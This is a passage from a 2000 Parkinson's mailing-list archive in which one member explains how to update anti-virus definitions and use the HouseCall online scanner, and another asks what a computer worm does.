you have sent them a virus? If you have a anti-virus program, click the liveupdate button and get the latest virus definitions...then check every file on your computer. Anti-virus programs need to be updated at least every month. One month I updated a clients anti-virus definitions and 720 new viruses had been detected that month alone. Most anti-virus programs provide the definitions for a year..after that you have to pay for them or upgrade to the newer version of the program. In the worst case, your machine will quit working and every file on the hard drive will be corrupted. If you catch it early and not have one of the fatal viruses, even if you don't have a current anti-virus program, one that is free, is available on the web. HouseCall is at the following address. It will download some temporary files to your computer that will run an anti-virus program. After download, at the box at the bottom of the webpage, your drives will be listed. click on the ones you want checked. Not wanting to be more redundant..:) read the instructions below. One other thing. If you have ever found a virus on your machine before with an anti-virus program and it was put in quarantine rather than deleted..it is still on your hard drive and house call will report it. Just tell HouseCall to delete it. How to use HouseCall: http://housecall.antivirus.com/housecall/start_corp.asp When HouseCall finishes loading, you will see a 'window' above showing all the disk drives on your computer. Select the disk drive(s) or directories you would like to scan. Click the 'Scan' button to start. (You can continue to browse the web while HouseCall is scanning.) If HouseCall finds a virus, it will list its name, as well as the name of the infected file(s). > Click on the virus name to learn more about the virus > Click on the 'Clean' button to remove the virus. If the virus cannot be cleaned, HouseCall will give you the option to delete the infected file. Having trouble? 1. Check the Frequently Asked Questions file. It is located at: http://housecall.antivirus.com/pc_housecall/faq_corp.htm Check your Browser: To use HouseCall, you will need to have either Microsoft Internet Explorer (version 3.02 or above) or Netscape Navigator (version 3.01 or above). [log in to unmask] Search the parkinsn archive online at: http://james.parkinsons.org.uk Catch the Parkinsn's List Online messages at: http://www.parkinsons-information-exchange-network-online.com Click the navigation ads and use the new search tools John Cottingham ========================================================================= Date: Sun, 21 May 2000 23:00:07 EDT Reply-To: Parkinson's Information Exchange Network <[log in to unmask]> Sender: Parkinson's Information Exchange Network <[log in to unmask]> From: Eleanor Noone <[log in to unmask]> Subject: Re: Viruses, worms, and etc. MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Could somebody tell me exactly what a "worm" does? Does it affect getting into web sites? I've been having trouble accessing just about everything lately. If I click on something like Bonnie's "Air Plane Joke" I get shut down and have to hit Ctrl/Alt/Del. The same goes for some web sites. I can access a game I have on my favorites list and a couple of other game sites. I don't pretend to understand any of this, but I was wondering if this "worm" everyone is talking about could have something to do with it? I know I need to Purge Cache every so often, so I did that last week, but it didn't help. My computer is old and SLOW, but this is getting ridiculous, not to mention irritating. Any help would be greatly appreciated. Eleanor